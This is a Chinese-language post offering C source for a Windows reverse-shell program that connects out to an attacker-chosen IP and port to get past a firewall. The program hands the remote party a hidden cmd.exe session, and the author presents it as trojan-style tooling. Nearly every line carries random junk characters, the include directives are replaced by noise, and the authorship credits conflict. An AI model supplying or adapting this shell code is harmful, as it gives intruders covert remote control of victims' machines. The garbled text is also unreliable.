Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 o:_}=1nh  
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/* ============================== A!s\;C  
Rebound port in Windows NT sM
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By wind,2006/7 >e*m8gm#  
===============================*/ A1@
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#include fi+u!Y*3Z  
#include ZAzn-n  
T F&xiL^  
#pragma comment(lib,"wsock32.lib") Z}.N4 /  
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void OutputShell(); jdQ`Y+BC  
SOCKET sClient; -,Cx|Nl  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9_[TYzpB!  
}6.R.*Imz  
void main(int argc,char **argv) :kqJ~  
{ Dna0M0   
WSADATA stWsaData; ?ltTJ(Po  
int nRet; bLGgu#  
SOCKADDR_IN stSaiClient,stSaiServer; r#*kx#"  
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if(argc != 3) ]uX'[Z}t  
{ v0|A N  
printf("Useage:\n\rRebound DestIP DestPort\n"); fM?HZKo  
return; 0/S|P1!b  
} ;oVdkp  
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WSAStartup(MAKEWORD(2,2),&stWsaData); y.2_5&e/  
+:?-Xd:p  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8I$B
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stSaiClient.sin_family = AF_INET; E~_2Jf\U  
stSaiClient.sin_port = htons(0); )6iY9[@tN  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); n;Tpf<*U  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) s;X"E=  
{ !!4_x  
printf("Bind Socket Failed!\n"); dON4r2-yC  
return; qI\qpWS\  
} oL>m}T  
br+{23&1R#  
stSaiServer.sin_family = AF_INET; 'YQ"Lf   
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {NXc<0a(  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6ND,4'6  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Kvv&# eO\  
{ L=3^A'|  
printf("Connect Error!"); }UZ$<81=  
return; 6Lz{/l8  
} -X5rGp++  
OutputShell(); dG}fpQ3&  
} JLm0[1Lzd  
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void OutputShell() lBh|+KN  
{ vC[)/w  
char szBuff[1024]; #sdW3m_%  
SECURITY_ATTRIBUTES stSecurityAttributes; FiJJe  
OSVERSIONINFO stOsversionInfo; :.f =>s]  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; pa Uh+"y>  
STARTUPINFO stStartupInfo; F.ryeOJ  
char *szShell; PcC9)x  
PROCESS_INFORMATION stProcessInformation; p>h B&h  
unsigned long lBytesRead; 2<)63[YO  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .,(bDXl?  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); He^+>XIam  
stSecurityAttributes.lpSecurityDescriptor = 0; YUJlQ2e(  
stSecurityAttributes.bInheritHandle = TRUE; {co(w 7  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +Tc<|-qQn  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); OsPx-|f S~  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); A>(m}P  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *,{. oO9#  
stStartupInfo.wShowWindow = SW_HIDE; ;H/*%2  
stStartupInfo.hStdInput = hReadPipe; 2+ F34  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; z"bgtlfb8  
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GetVersionEx(&stOsversionInfo); KG6ki_  
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switch(stOsversionInfo.dwPlatformId) RzQ1Wq  
{ 55MsF}p  
case 1: 8:0QIkqk  
szShell = "command.com"; 3]WIN_h  
break; =_I2ek  
default: %/b?T]{  
szShell = "cmd.exe"; frbKi _1  
break; hNmC(saMGm  
} A U9Y0<  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); JDfkm+}uY  
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send(sClient,szMsg,77,0); f!a[+^RB:  
while(1) Q ,30  
{ SdBv?`u|g  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); N[d*_KN.!  
if(lBytesRead) [ \ LA  
{ f;`pj`-k%  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); dX{|-;6vm  
send(sClient,szBuff,lBytesRead,0); N~_GJw@  
} &!]$#  
else xu(5U`K  
{ 
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lBytesRead=recv(sClient,szBuff,1024,0); E ;65kZ  
if(lBytesRead<=0) break; y[Zl,v7  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); S-WD?BFC  
} =i
}  
} ~Wjm"|c  
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return; I]bqle0M  
}